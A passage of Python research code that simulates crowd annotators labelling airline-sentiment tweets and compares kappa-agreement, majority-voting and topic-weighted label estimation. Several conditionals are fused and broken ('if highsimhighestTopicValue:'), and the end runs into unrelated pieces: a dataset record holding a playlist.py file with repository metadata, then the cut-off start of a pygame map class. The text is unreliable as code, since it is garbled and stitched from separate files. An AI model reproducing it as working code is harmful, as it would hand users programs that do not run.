pra=0.0\r\n if total!=0.0:\r\n pra=np.trace(confusion)/total\r\n pre=0.0\r\n cols=confusion.sum(axis=0)\r\n rows=confusion.sum(axis=1)\r\n for d in range(0,nb_labels):\r\n if total!=0.0:\r\n pre=pre+(cols[d]*rows[d])/total\r\n if total!=0.0: \r\n pre=pre/total\r\n kappa_agree_temp[i,i]=1.0 \r\n if pre!=1: \r\n #print(i,j,(pra-pre)/(1.0-pre))\r\n #print(confusion)\r\n \r\n kappa_agree_temp[i,j]=((pra-pre)/(1.0-pre))\r\n kappa_agree_temp[j,i]=((pra-pre)/(1.0-pre))\r\n \r\n kappa_agree_temp[nb_annotators-1,nb_annotators-1]=1.0\r\n #print(\"kappa_agree_temp\",kappa_agree_temp)\r\n #print(\"norms\",norms)\r\n for i1 in range(0,nb_annotators):\r\n kappa=0.0 \r\n for i2 in range(0,nb_annotators):\r\n kappa=kappa+kappa_agree_temp[i1,i2]\r\n kappa_agree.append(kappa/norms[i1]) \r\n #print(\"kappa_agree\",kappa_agree)\r\n print(\"kappaout\") \r\n return (kappa_agree)\r\n \r\n#===============End Kappa inter- agreement========================\r\n#============Kappa with topics============================\r\ndef kappaInteragreemtWithTopics(annt_responses_local,nb_labels,tweets_topics_local,groundTruth_local):\r\n kappa_agree=kappa_aggreement(annt_responses_local,nb_labels)\r\n nb_annotators=len(annt_responses_local)\r\n nb_tweets=len(annt_responses_local[0])\r\n nb_topics=len(tweets_topics_local[0])\r\n annt_tpc_kappa=np.full((nb_annotators,nb_topics),1.0)\r\n Kappa_trueLabels=[]\r\n onlylabel=0.0\r\n for i in range(0,nb_tweets):\r\n highsim=-10000000.0\r\n truelabel=0\r\n for label in range(1,nb_labels+1):\r\n sim=0.0\r\n for j in range(0,nb_annotators):\r\n if annt_responses_local[j][i]==label:\r\n onlylabel=label\r\n #for c in range(0,nb_topics):\r\n #if tweets_topics_local[i,c]!=0.0:\r\n ##sim=sim+(kappa_agree[j]*annt_tpc_kappa[j,c])\r\n sim=sim+(kappa_agree[j])\r\n if highsimhighestTopicValue:\r\n highestTopic=tweets_topics[i,c]\r\n highestTopic=c'''\r\n ##annt_tpc_kappa[j,c]=round(annt_tpc_kappa[j,c]+(tweets_topics[i,c]),4)\r\n ##annt_tpc_kappa[j,highestTopic]=annt_tpc_kappa[j,highestTopic]+1\r\n \r\n else:\r\n for c in range(0,nb_topics):\r\n if tweets_topics_local[i,c]!=0.0 and annt_responses_local[j][i]!=0 :\r\n #annt_tpc_kappa[j,c]=round(annt_tpc_kappa[j,c]-(tweets_topics[i,c]),4)\r\n annt_tpc_kappa[j,c]=annt_tpc_kappa[j,c]-0\r\n ##print('kappTopics',Kappa_trueLabels)\r\n ##print(annt_tpc_kappa)'''\r\n print(\"kappa2\")\r\n return(Kappa_trueLabels,annt_tpc_kappa)\r\n#==============End Kappa with topics=================================\r\n#============Kappa without topics============================\r\ndef kappaInterAgreementWithoutTopics(annt_responses,nb_labels):\r\n Kappa_trueLabelsWithoutTopics=[]\r\n kappa_agree=kappa_aggreement(annt_responses,nb_labels)\r\n nb_tweets=len(annt_responses[0])\r\n nb_annotators=len(annt_responses)\r\n for i in range(0,nb_tweets):\r\n highsim=0.0\r\n truelabel=0\r\n for label in range(1,nb_labels+1):\r\n sim=0.0\r\n for j in range(0,nb_annotators):\r\n if annt_responses[j][i]==label:\r\n for c in range(0,nb_topics):\r\n if tweets_topics[i,c]!=0.0:\r\n sim=sim+(kappa_agree[j])\r\n if highsimhigh:\r\n high=s\r\n majority=x\r\n majority_voting.append(majority)\r\n for l in range(0,nb_annotators):\r\n for c in range(0,nb_topics):\r\n if (annt_responses_local[l][j]==majority) and (tweets_topics_local[j][c]!=0.0) :\r\n annt_mv_tpc[l][c]=annt_mv_tpc[l][c]+1\r\n ##annt_mv_tpc[l][c]=annt_mv_tpc[l][c]+tweets_topics[j][c]\r\n if (annt_responses_local[l][j]!=majority)and(annt_responses_local[l][j]!=0) and (tweets_topics_local[j][c]!=0.0) : \r\n annt_mv_tpc[l][c]=annt_mv_tpc[l][c]-0\r\n print(\"MVVVVVVVVVVVVV\") \r\n return (majority_voting,annt_mv_tpc)\r\n\r\ndef mvWithTopics(annt_responses_local,nb_topics,nb_labels,groundTruth_local,tweets_topics_local):\r\n nb_tweets=len(annt_responses_local[0])\r\n trueLabels=[]\r\n nb_annotators=len(annt_responses_local)\r\n annt_tpc=np.full((len(annt_responses_local),nb_topics),1.0)\r\n annt_tpc_test=np.full((len(annt_responses_local),nb_topics),1.0)\r\n for i in range(0,nb_tweets):\r\n highsim=-10000000000.0\r\n truelabel=0\r\n counter=0\r\n for nA in range(0,len(annt_responses_local)):\r\n if(annt_responses_local[nA,i]!=0):\r\n counter=counter+1\r\n for label in range(1,nb_labels+1):\r\n sim=0.0\r\n accm=0\r\n for j in range(0,nb_annotators):\r\n if annt_responses_local[j][i]==label:\r\n for c in range(0,nb_topics):\r\n if tweets_topics_local[i,c]!=0.0:\r\n accm=accm+(annt_tpc[j,c])\r\n if counter!=0:\r\n sim=accm/counter\r\n \r\n if highsimhighestTopicValue:\r\n highestTopic=tweets_topics[i,c]\r\n highestTopic=c'''\r\n ##annt_tpc_kappa[j,c]=round(annt_tpc_kappa[j,c]+(tweets_topics[i,c]),4)\r\n ##annt_tpc[k,highestTopic]=annt_tpc[k,highestTopic]+1\r\n ##annt_tpc[j,highestTopic]=round(annt_tpc[j,highestTopic]+(tweets_topics[i,highestTopic]),4)\r\n annt_tpc[k,c]=annt_tpc[k,c]+1\r\n ##annt_tpc_test=annt_tpc_test+tweets_topics[i,c]\r\n else:\r\n for c in range(0,nb_topics):\r\n if tweets_topics_local[i,c]!=0.0 and annt_responses_local[k][i]!=0:\r\n #annt_tpc[j,c]=round(annt_tpc[j,c]-(tweets_topics[i,c]/topics[c]),4)\r\n #annt_tpc[j,c]=round(annt_tpc[j,c]-(tweets_topics[i,c]),4)\r\n annt_tpc[k,c]=annt_tpc[k,c]-0\r\n ##return (trueLabels,annt_tpc,annt_tpc_test)\r\n print(\"MV topics\")\r\n return (trueLabels,annt_tpc)\r\n \r\ndef accuracy(trueLabels_local,groundTruth_local,text,annt_responses,tweets_topics_local):\r\n hits=0\r\n nb_tweets=len(trueLabels_local)\r\n for i in range(0,nb_tweets):\r\n if groundTruth_local[i]==trueLabels_local[i]:\r\n hits=hits+1\r\n print('accuracy',text,(float(hits)/float(nb_tweets)),'missclasification: ',nb_tweets-hits,'of',nb_tweets)\r\n \r\n return (float(hits)/float(nb_tweets))\r\n\r\ndef accuracyIncremental(trueLabels_local,groundTruth_local,text,annt_responses,tweets_topics_local):\r\n hits=0\r\n nb_tweets=len(trueLabels_local)\r\n for i in range(0,nb_tweets):\r\n if groundTruth_local[i]==trueLabels_local[i]:\r\n hits=hits+1\r\n print('accuracy',text,(float(hits)/float(nb_tweets)),'missclasification: ',nb_tweets-hits,'of',nb_tweets)\r\n \r\n return (hits)\r\n\r\n\r\ndef accuracyReliability(realAnntTopics,estAnntTopics):\r\n #print(realAnntTopics)\r\n #print(estAnntTopics)\r\n nb_annotators=len(realAnntTopics)\r\n nb_topics=len(realAnntTopics[0])\r\n error_reliablility=0.0\r\n for i in range(0,nb_annotators):\r\n for j in range(0,nb_topics):\r\n error_reliablility=error_reliablility+((realAnntTopics[i][j]-estAnntTopics[i][j])*(realAnntTopics[i][j]-estAnntTopics[i][j]))\r\n \r\n error_reliablility=error_reliablility/(nb_annotators*nb_topics)\r\n result=math.sqrt(error_reliablility)\r\n return result\r\n\r\ndef accumulateReliability(globalAnntTopics,incrementalAnntTopics):\r\n nb_annotators=len(globalAnntTopics)\r\n nb_topics=len(globalAnntTopics[0])\r\n for i in range(0,nb_annotators):\r\n for j in range(0,nb_topics):\r\n globalAnntTopics[i][j]=globalAnntTopics[i][j]+incrementalAnntTopics[i][j]\r\n return globalAnntTopics\r\n\r\n#========================accuracy======================================\r\n \r\ndef mainRunWithSparsity(annt_responses_local,annt_topics_local,annt_topics_float,nb_labels,tweets_topics_loc,groundTruth_temp_local):\r\n nb_topics=len(annt_topics_local[0])\r\n trueLabels=[]\r\n annt_tpc=[]\r\n majority_voting=[]\r\n annt_mv_tpc=[]\r\n mv_withTopics=[]\r\n mv_annt_tpc=[]\r\n accu=[]\r\n rel_acc=[]\r\n \r\n (trueLabels,annt_tpc)=kappaInteragreemtWithTopics(annt_responses_local,nb_labels,tweets_topics_loc,groundTruth_temp_local)\r\n rel_acc.append(accuracyReliability(annt_topics_local,annt_tpc))\r\n accu.append(accuracy(trueLabels,groundTruth_temp_local,'Kappa-agreement with topics',annt_responses_local,tweets_topics_loc))\r\n #print(\"annt_tpc kappa\",annt_tpc)\r\n #print(\"trueLabels kapppa\")\r\n #print(trueLabels)\r\n \r\n (mv_withTopics,mv_annt_tpc)=mvWithTopics(annt_responses_local,nb_topics,nb_labels,groundTruth_temp_local,tweets_topics_loc) \r\n accu.append(accuracy(mv_withTopics,groundTruth_temp_local,'Majority Voting with Topics',annt_responses_local,tweets_topics_loc))\r\n rel_acc.append(accuracyReliability(annt_topics_local,mv_annt_tpc))\r\n #print(\"mv with topics\",mv_annt_tpc)\r\n #print(\"mv_withTopics truelabe\")\r\n #print(mv_withTopics)\r\n \r\n (majority_voting,annt_mv_tpc)=majorityVoting(annt_responses_local,nb_labels,nb_topics,tweets_topics_loc)\r\n accu.append(accuracy(majority_voting,groundTruth_temp_local,'Majority Voting',annt_responses_local,tweets_topics_loc))\r\n rel_acc.append(accuracyReliability(annt_topics_local,annt_mv_tpc))\r\n \r\n #print(\"majority voting\",annt_mv_tpc)\r\n #print(\"majority_voting\")\r\n #print(majority_voting)\r\n \r\n ##print(mv_annt_tpc)\r\n return (accu,rel_acc)\r\n##==========================================================No Ranking======================================================\r\n \r\ndef mainRunWithSparsityNoranking(annt_responses_local,annt_topics_local,annt_topics_float,nb_labels,tweets_topics_loc,groundTruth_temp_local):\r\n nb_topics=len(annt_topics_local[0])\r\n trueLabels=[]\r\n annt_tpc=[]\r\n majority_voting=[]\r\n annt_mv_tpc=[]\r\n mv_withTopics=[]\r\n mv_annt_tpc=[]\r\n accu=[]\r\n rel_acc=[]\r\n '''\r\n (trueLabels,annt_tpc)=kappaInteragreemtWithTopics(annt_responses_local,nb_labels,tweets_topics_loc,groundTruth_temp_local)\r\n rel_acc.append(accuracyReliability(annt_topics_local,annt_tpc))\r\n accu.append(accuracy(trueLabels,groundTruth_temp_local,'Kappa-agreement with topics',annt_responses_local,tweets_topics_loc))\r\n print(\"annt_tpc kappa\",annt_tpc)\r\n print(\"trueLabels kapppa\")\r\n print(trueLabels)\r\n '''\r\n (mv_withTopics,mv_annt_tpc)=mvWithTopics(annt_responses_local,nb_topics,nb_labels,groundTruth_temp_local,tweets_topics_loc) \r\n accu.append(accuracy(mv_withTopics,groundTruth_temp_local,'Majority Voting with Topics',annt_responses_local,tweets_topics_loc))\r\n rel_acc.append(accuracyReliability(annt_topics_local,mv_annt_tpc))\r\n #print(\"mv with topics\",mv_annt_tpc)\r\n #print(\"mv_withTopics truelabe\")\r\n #print(mv_withTopics)\r\n '''\r\n (majority_voting,annt_mv_tpc)=majorityVoting(annt_responses_local,nb_labels,nb_topics,tweets_topics_loc)\r\n accu.append(accuracy(majority_voting,groundTruth_temp_local,'Majority Voting',annt_responses_local,tweets_topics_loc))\r\n rel_acc.append(accuracyReliability(annt_topics_local,annt_mv_tpc))\r\n \r\n print(\"majority voting\",annt_mv_tpc)\r\n print(\"majority_voting\")\r\n print(majority_voting)\r\n '''\r\n ##print(mv_annt_tpc)\r\n return (accu,rel_acc)\r\n\r\n#===================Test===========================================================\r\ndef mainRunForIncremental(annt_responses_local,nb_labels,tweets_topics_local,groundTruth_temp_local,global_annt_tpc_Kappa,global_annt_tpc_MvTopics,global_annt_tpc_MV):\r\n nb_topics=len(tweets_topics_local[0])\r\n trueLabels=[]\r\n annt_tpc=[]\r\n majority_voting=[]\r\n annt_mv_tpc=[]\r\n mv_withTopics=[]\r\n mv_annt_tpc=[]\r\n accu=[]\r\n rel_acc=[]\r\n (trueLabels,annt_tpc)=kappaInteragreemtWithTopics(annt_responses_local,nb_labels,tweets_topics_local,groundTruth_temp_local)\r\n rel_acc.append(accumulateReliability(global_annt_tpc_Kappa,annt_tpc))\r\n accu.append(accuracyIncremental(trueLabels,groundTruth_temp_local,'Kappa-agreement with topics',annt_responses_local,tweets_topics_local))\r\n #print(\" incremental annt_tpc\",annt_tpc)\r\n #print(\"trueLabels kappa incrementa;\",trueLabels)\r\n \r\n (mv_withTopics,mv_annt_tpc)=mvWithTopics(annt_responses_local,nb_topics,nb_labels,groundTruth_temp_local,tweets_topics_local) \r\n accu.append(accuracyIncremental(mv_withTopics,groundTruth_temp_local,'Majority Voting with Topics',annt_responses_local,tweets_topics_local))\r\n rel_acc.append(accumulateReliability(global_annt_tpc_MvTopics,mv_annt_tpc))\r\n #print(\"incremental mv with topics\",mv_annt_tpc)\r\n #print(\"mv_withTopics incremental truth\",mv_withTopics)\r\n '''\r\n (majority_voting,annt_mv_tpc)=majorityVoting(annt_responses_local,nb_labels,nb_topics,tweets_topics_local)\r\n accu.append(accuracyIncremental(majority_voting,groundTruth_temp_local,'Majority Voting',annt_responses_local,tweets_topics_local))\r\n rel_acc.append(accumulateReliability(global_annt_tpc_MV,annt_mv_tpc))\r\n print(\"incremental majority voting\",annt_mv_tpc)\r\n print(\"mv incremental \",majority_voting)\r\n ''' \r\n \r\n ##print(mv_annt_tpc)\r\n return (accu,rel_acc,global_annt_tpc_Kappa,global_annt_tpc_MvTopics,global_annt_tpc_MV)\r\n\r\n\r\n\r\n\r\n#===========================================================================================\r\narray_nb_topics=[15]#,15,30]\r\narray_nb_annotators=[1000]##[5,10,25,30]\r\narray_maxFeatures=[2000]\r\narray_midDf=[1]\r\narray_maxiter=[700]\r\narray_meanAccuarcy=[10]#,40]\r\narray_SdAccuracy=[10]\r\narray_meanLikelihood=[1]##,5,10,15]##,5,10,15]\r\narray_nb_tweets=[14460]##[100,250,500,1000,5000]\r\nnb_rounds=1\r\nrel_annt_percent=0.5\r\n\r\nstep=7230\r\nresult=[]\r\n \r\nfor nb_t in array_nb_topics:\r\n for mF in array_maxFeatures:\r\n for mD in array_midDf:\r\n for m in array_maxiter:\r\n for sdAcc in array_SdAccuracy:\r\n for meanAcc in array_meanAccuarcy:\r\n for nb_tweets in array_nb_tweets:\r\n for nb_a in array_nb_annotators:\r\n for meanLH in array_meanLikelihood:\r\n \r\n row_csv=[]\r\n row_csv.append(nb_tweets)\r\n row_csv.append(nb_t)\r\n row_csv.append(nb_a)\r\n row_csv.append(\"tweets.csv\")\r\n #row_csv.append(\"finalizedfull.csv\")\r\n row_csv.append(rel_annt_percent)\r\n \r\n #dataset = pd.read_csv(\"finalizedfull.csv\")\r\n dataset = pd.read_csv(\"Tweets.csv\")\r\n data = dataset['text']\r\n #data = dataset['tweet']\r\n vectorizer = TfidfVectorizer(max_features=mF, min_df=mD, stop_words='english')\r\n X = vectorizer.fit_transform(data)\r\n features1=vectorizer.get_feature_names()\r\n features=np.asarray(features1)\r\n nmf = NMF(n_components=nb_t, init='nndsvd', random_state=0, max_iter = m)\r\n nb_topics1=nb_t\r\n W=[]\r\n x=X.toarray()\r\n W1=[]\r\n W1 = nmf.fit_transform(X)\r\n H=nmf.components_\r\n topicsValue=np.full((mF,len(W1[0])),0.0)\r\n for i in range(0,mF):\r\n topicCounter=0\r\n theTopicValue=0\r\n theTopic=H[0][i] \r\n for l in range(1,nb_topics1):\r\n if H[l][i]>theTopic:\r\n theTopic=H[l][i]\r\n theTopicValue=l\r\n topicsValue[i][theTopicValue]=theTopic\r\n oneTopicMatrix=np.full((len(W1),len(W1[0])),0.0) \r\n for wordsCounter in range(0,mF):\r\n for tweetsCounter in range(0,nb_tweets):\r\n if x[tweetsCounter][wordsCounter]!=0.0:\r\n for topicCounter in range(0,nb_t):\r\n if topicsValue[wordsCounter][topicCounter]!=0.0:\r\n oneTopicMatrix[tweetsCounter][topicCounter]=topicsValue[wordsCounter][topicCounter]\r\n ''' \r\n for n in range(0,10):\r\n for f in range(0,2000):\r\n if x[n][f]!=0:\r\n print(n,features[f]) \r\n for l in range(0,nb_topics1):\r\n if topicsValue[f][l]!=0.0:\r\n print(\"topic\",l)\r\n if topicCounter<3: \r\n for i in range(0,nb_topics1):\r\n if H[i][j]!=0:\r\n print(i,features[j])\r\n for i in range(0,25):\r\n print(\"topic\",i) \r\n for j in range(0,30):\r\n \r\n if topicsValue[j]==i:\r\n print(features[j])\r\n \r\n \r\n for j in range (0,25):\r\n for i in range(0,100):\r\n if W1[i][j]!=0:\r\n print(data[i],j)\r\n ''' \r\n W=W1.copy()\r\n S=W.copy()\r\n ##ss=S[:nb_tweets]\r\n ss=oneTopicMatrix[:nb_tweets]\r\n tweets_topics=[]\r\n tweets_topics1=[]\r\n groundTruth_temp=[]\r\n \r\n documents = dataset[['airline_sentiment','text']]\r\n documents.replace({'neutral': 1, 'positive': 2, 'negative': 3}, inplace=True)\r\n groundTruth=documents['airline_sentiment']\r\n '''\r\n documents = dataset[['senti','tweet']]\r\n documents.replace({0: 1, 4: 2, 2: 3}, inplace=True)\r\n groundTruth=documents['senti']\r\n '''\r\n \r\n groundTruth=groundTruth.values\r\n twe_tpc=[]\r\n v=0\r\n for i in range(0,len(ss)):\r\n \r\n contain=False\r\n for j in range(0,len(ss[0])):\r\n if ss[i,j]!=0.0:\r\n contain=True\r\n if contain:\r\n v=v+1\r\n twe_tpc.append(ss[i])\r\n groundTruth_temp.append(groundTruth[i])\r\n else:\r\n print(\"i\",i) \r\n \r\n \r\n print(\"v\",v)\r\n tweets_topics1=np.asarray(twe_tpc)\r\n nb_tweets=v\r\n tweets_topics=tweets_topics1[range(0,nb_tweets),]\r\n #tweets_topics=tweets_topics1[range(0,v),]\r\n groundTruth_temp=np.asarray(groundTruth_temp)\r\n groundTruth_temp=groundTruth_temp[range(0,nb_tweets),]\r\n #groundTruth_temp=groundTruth_temp[range(0,v),]\r\n nb_tweets=len(tweets_topics)\r\n #print(\"tweets_topics\",tweets_topics)\r\n nb_topics=len(tweets_topics[0])\r\n nb_annotators=nb_a\r\n nb_labels=3\r\n annt_responses=np.full((nb_a,nb_tweets),0)\r\n annt_topics=np.full((nb_a,nb_topics),1.0)\r\n trueLabels=[]\r\n topics=np.zeros(nb_topics)\r\n acc=np.zeros((1,3))\r\n acc=np.zeros((1,3))\r\n \r\n avg_accuracy_Kappa_interagreement=0.0\r\n avg_accuracy_MvWithTopics=0.0\r\n avg_accuracy_MV=0.0\r\n avg_rel_accuracy_Kappa_interagreement=0.0\r\n avg_rel_accuracy_MvWithTopics=0.0\r\n avg_rel_accuracy_MV=0.0\r\n \r\n avg_accuracy_Kappa_interagreement_NoRanking=0.0\r\n avg_accuracy_MvWithTopics_NoRanking=0.0\r\n avg_accuracy_MV_NoRanking=0.0\r\n avg_rel_accuracy_Kappa_interagreement_NoRanking=0.0\r\n avg_rel_accuracy_MvWithTopics_NoRanking=0.0\r\n avg_rel_accuracy_MV_NoRanking=0.0\r\n \r\n \r\n avg_accuracy_Kappa_interagreement_incremental=0.0\r\n avg_accuracy_MvWithTopics_incremental=0.0\r\n avg_accuracy_MV_incremental=0.0\r\n avg_rel_accuracy_Kappa_interagreement_incremental=0.0\r\n avg_rel_accuracy_MvWithTopics_incremental=0.0\r\n avg_rel_accuracy_MV_incremental=0.0\r\n \r\n avg_annotated_tweets=0.0\r\n avg_annotated_tweets_NoRanking=0.0\r\n avg_annotated_tweets_incremental=0.0\r\n \r\n for i in range (0,nb_rounds): \r\n annotated_tweets=0.0\r\n annotated_tweets_NoRanking=0.0\r\n annotated_tweets_incremental=0.0\r\n \r\n accuracy_Kappa_interagreement=0.0\r\n accuracy_MvWithTopics=0.0\r\n accuracy_MV=0.0\r\n rel_accuracy_Kappa_interagreement=0.0\r\n rel_accuracy_MvWithTopics=0.0\r\n rel_accuracy_MV=0.0\r\n \r\n accuracy_Kappa_interagreement_NoRanking=0.0\r\n accuracy_MvWithTopics_NoRanking=0.0\r\n accuracy_MV_NoRanking=0.0\r\n rel_accuracy_Kappa_interagreement_NoRanking=0.0\r\n rel_accuracy_MvWithTopics_NoRanking=0.0\r\n rel_accuracy_MV_NoRanking=0.0\r\n annt_topics=[]\r\n annt_responses=[]\r\n annt_topicsFloat=[]\r\n \r\n (annt_topics,annt_topicsFloat,annt_responses)=simulateLabelsTopicsDependent(groundTruth_temp,tweets_topics,topics,nb_a,rel_annt_percent,sdAcc,meanLH,nb_labels)\r\n #print ('annt_responses')\r\n print(\"hi\",len(annt_responses[0]))\r\n #print(\"groundTruth_temp\")\r\n #print(groundTruth_temp)\r\n #print(\"annt_topics\")\r\n #print(annt_topics)\r\n \r\n\r\n##======================================Main scenario====================================\r\n mv=[]\r\n acc=[]\r\n error_rel=[]\r\n annt_res_ordered=[]\r\n annt_res_ordered_tran=[]\r\n groundTruth_order=[]\r\n groundTruth_order_tran=[]\r\n mv_nb=np.zeros(nb_tweets)\r\n (mv,tp)=majorityVoting(annt_responses,nb_labels,nb_topics,tweets_topics)\r\n res_ord_list=[]\r\n tweets_topics_ord_list=[]\r\n tweets_topics_ordered=np.zeros(tweets_topics.shape)\r\n tweets_topics_order_tran=np.zeros(tweets_topics.shape)\r\n annt_res_ordered=np.zeros(annt_responses.shape)\r\n annt_res_ordered_tran=np.zeros(annt_responses.shape)\r\n label_ord_list=[]\r\n groundTruth_order=np.zeros((len(groundTruth_temp),1))\r\n groundTruth_order_tran=np.zeros((len(groundTruth_temp),1))\r\n for i in range(0,len(annt_responses[0])):\r\n for j in range (0,len(annt_responses)):\r\n if annt_responses[j][i]==mv[i] and mv[i]!=0:\r\n mv_nb[i]=mv_nb[i]+1\r\n import math\r\n maximum=math.floor(mv_nb.max())\r\n ##print('mv_nb',mv_nb)\r\n for i in range(0,int(maximum)):\r\n for j in range(0,len(mv_nb)):\r\n if mv_nb[j]==(maximum-i) and mv_nb[j]!=0:\r\n res_ord_list.append(annt_responses[:,j])\r\n label_ord_list.append(groundTruth_temp[j])\r\n tweets_topics_ord_list.append(tweets_topics[j,:])\r\n ##print(j)\r\n annt_res_ordered=np.asarray(res_ord_list)\r\n annt_res_ordered_tran=annt_res_ordered.transpose()\r\n groundTruth_order=np.asarray(label_ord_list)\r\n groundTruth_order_tran= groundTruth_order.transpose()\r\n tweets_topics_ordered=np.asarray(tweets_topics_ord_list)\r\n \r\n #print(\"annt_res_ordered\")\r\n #print(annt_res_ordered_tran)\r\n #print(\"groundTruth_order_tran\")\r\n #print(groundTruth_order_tran)\r\n #print(\"tweets_topics_ordered\")\r\n #print(tweets_topics_ordered)\r\n if annt_res_ordered_tran.size!=0:\r\n annotated_tweets=len(annt_res_ordered_tran[0]) \r\n avg_annotated_tweets=annotated_tweets+avg_annotated_tweets\r\n (acc,error_rel)=mainRunWithSparsity(annt_res_ordered_tran,annt_topics,annt_topicsFloat,nb_labels,tweets_topics_ordered,groundTruth_order_tran)\r\n acc=np.asarray(acc)\r\n #print(acc.shape)\r\n error_rel=np.asarray(error_rel)\r\n accuracy_Kappa_interagreement=accuracy_Kappa_interagreement+(acc[0])\r\n accuracy_MvWithTopics=accuracy_MvWithTopics+(acc[1])\r\n accuracy_MV=accuracy_MV+(acc[2])\r\n rel_accuracy_Kappa_interagreement=rel_accuracy_Kappa_interagreement+(error_rel[0])\r\n rel_accuracy_MvWithTopics=rel_accuracy_MvWithTopics+(error_rel[1])\r\n rel_accuracy_MV=rel_accuracy_MV+(error_rel[2])\r\n #print(rel_accuracy_Kappa_interagreement,rel_accuracy_MvWithTopics,rel_accuracy_MV) \r\n avg_accuracy_Kappa_interagreement=accuracy_Kappa_interagreement+avg_accuracy_Kappa_interagreement\r\n avg_accuracy_MvWithTopics=accuracy_MvWithTopics+avg_accuracy_MvWithTopics\r\n avg_accuracy_MV=accuracy_MV+avg_accuracy_MV\r\n avg_rel_accuracy_Kappa_interagreement=rel_accuracy_Kappa_interagreement+avg_rel_accuracy_Kappa_interagreement\r\n avg_rel_accuracy_MvWithTopics=rel_accuracy_MvWithTopics+avg_rel_accuracy_MvWithTopics\r\n avg_rel_accuracy_MV=rel_accuracy_MV+avg_rel_accuracy_MV\r\n #print(avg_rel_accuracy_Kappa_interagreement,avg_rel_accuracy_MvWithTopics,avg_rel_accuracy_MV)\r\n \r\n \r\n##=====================================End main scenario===================================== \r\n\r\n\r\n##=================================== without Ranking ===================================\r\n mv=[]\r\n acc_NoRanking=[]\r\n err_rel_NoRanking=[]\r\n \r\n annt_res_ordered=[]\r\n annt_res_ordered_tran=[]\r\n \r\n groundTruth_order=[]\r\n groundTruth_order_tran=[]\r\n \r\n tweets_topics_ord_list=[]\r\n tweets_topics_ordered=np.zeros(tweets_topics.shape)\r\n tweets_topics_order_tran=np.zeros(tweets_topics.shape)\r\n \r\n mv_nb=np.zeros(nb_tweets)\r\n (mv,tp)=majorityVoting(annt_responses,nb_labels,nb_topics,tweets_topics)\r\n res_ord_list=[]\r\n annt_res_ordered=np.zeros(annt_responses.shape)\r\n label_ord_list=[]\r\n groundTruth_order=np.zeros((len(groundTruth_temp),1))\r\n for i in range(0,len(annt_responses[0])):\r\n if mv[i]!=0:\r\n annt_res_ordered_tran.append(annt_responses[:,i])\r\n groundTruth_order_tran.append(groundTruth_temp[i])\r\n tweets_topics_ord_list.append(tweets_topics[i,:])\r\n \r\n annt_res_ordered_tran=np.asarray(annt_res_ordered_tran) \r\n annt_res_ordered_tran=annt_res_ordered_tran.transpose()\r\n groundTruth_order_tran=np.asarray(groundTruth_order_tran)\r\n groundTruth_order_tran=groundTruth_order_tran.transpose()\r\n annotated_tweets_NoRanking=len(annt_res_ordered_tran[0])\r\n tweets_topics_ordered=np.asarray(tweets_topics_ord_list)\r\n avg_annotated_tweets_NoRanking=avg_annotated_tweets_NoRanking+annotated_tweets_NoRanking\r\n (acc_NoRanking,err_rel_NoRanking)=mainRunWithSparsityNoranking(annt_res_ordered_tran,annt_topics,annt_topicsFloat,nb_labels,tweets_topics_ordered,groundTruth_order_tran)\r\n acc_NoRanking=np.asarray(acc_NoRanking)\r\n err_rel_NoRanking=np.asarray(err_rel_NoRanking)\r\n \r\n ##accuracy_Kappa_interagreement_NoRanking=accuracy_Kappa_interagreement_NoRanking+(acc_NoRanking[0])\r\n accuracy_MvWithTopics_NoRanking=accuracy_MvWithTopics_NoRanking+(acc_NoRanking[0])\r\n ##accuracy_MV_NoRanking=accuracy_MV_NoRanking+(acc_NoRanking[2])\r\n ##rel_accuracy_Kappa_interagreement_NoRanking=rel_accuracy_Kappa_interagreement_NoRanking+err_rel_NoRanking[0]\r\n rel_accuracy_MvWithTopics_NoRanking=rel_accuracy_MvWithTopics_NoRanking+err_rel_NoRanking[0]\r\n ##rel_accuracy_MV_NoRanking=rel_accuracy_MV_NoRanking+err_rel_NoRanking[2]\r\n \r\n ##avg_accuracy_Kappa_interagreement_NoRanking=accuracy_Kappa_interagreement_NoRanking+avg_accuracy_Kappa_interagreement_NoRanking\r\n avg_accuracy_MvWithTopics_NoRanking=accuracy_MvWithTopics_NoRanking+avg_accuracy_MvWithTopics_NoRanking\r\n ##avg_accuracy_MV_NoRanking=accuracy_MV_NoRanking+avg_accuracy_MV_NoRanking\r\n ##avg_rel_accuracy_Kappa_interagreement_NoRanking=rel_accuracy_Kappa_interagreement_NoRanking+avg_rel_accuracy_Kappa_interagreement_NoRanking\r\n avg_rel_accuracy_MvWithTopics_NoRanking=rel_accuracy_MvWithTopics_NoRanking+avg_rel_accuracy_MvWithTopics_NoRanking\r\n ##avg_rel_accuracy_MV_NoRanking=rel_accuracy_MV_NoRanking+avg_rel_accuracy_MV_NoRanking\r\n #print(rel_accuracy_MV_NoRanking) \r\n #print(avg_rel_accuracy_MV_NoRanking) \r\n \r\n \r\n \r\n##=================================== End without Ranking==============================\r\n \r\n accuracy_Kappa_interagreement_incremental=0.0\r\n accuracy_MvWithTopics_incremental=0.0\r\n accuracy_MV_incremental=0.0\r\n rel_accuracy_Kappa_interagreement_incremental=0.0\r\n rel_accuracy_MvWithTopics_incremental=0.0\r\n rel_accuracy_MV_incremental=0.0\r\n sum_annotated_tweets_incremental=0.0\r\n err_rel_incremental=[]\r\n acc_incremental=[]\r\n batch=0\r\n nb_batches=0\r\n global_annt_topics_mv=np.full((len(annt_responses),len(tweets_topics[0])),1.0)\r\n global_annt_topics_mvTopic=np.full((len(annt_responses),len(tweets_topics[0])),1.0)\r\n global_annt_topics_kappa=np.full((len(annt_responses),len(tweets_topics[0])),1.0)\r\n #while (batch None:\n self.title = title\n self.artist = artist\n self.lyrics = lyrics\n\n\nclass Playlist:\n def __init__(self, name: str, file_data: Any) -> None:\n\n self.name = name\n self.file_data = file_data\n self.tracks: list[Track] = []\n\n def ingest(self) -> None:\n\n for line in self.file_data[\"items\"]:\n title = line[\"track\"][\"name\"]\n artist = [i[\"name\"] for i in line[\"track\"][\"artists\"]]\n track = Track(title, artist)\n self.tracks.append(track)\n\n self.file_data = {}\n","repo_name":"ribbas/grad_courses","sub_path":"744_information_retrieval/proj/eel/playlist.py","file_name":"playlist.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8716652184","text":"import pygame\n\nfrom pykitten.kittens import Kitten\n\nfrom resources import GFX_wobbly\n\nclass Ground(pygame.rect.Rect):\n pass\n\n\nclass GfxMap:\n #has spritegroups with ground, handles collisions and positioning\n def __init__(self, mapdata):\n\n self.mapdata = mapdata\n self.start = (0,0)\n self.finish = (0,0)\n\n offset = (0, 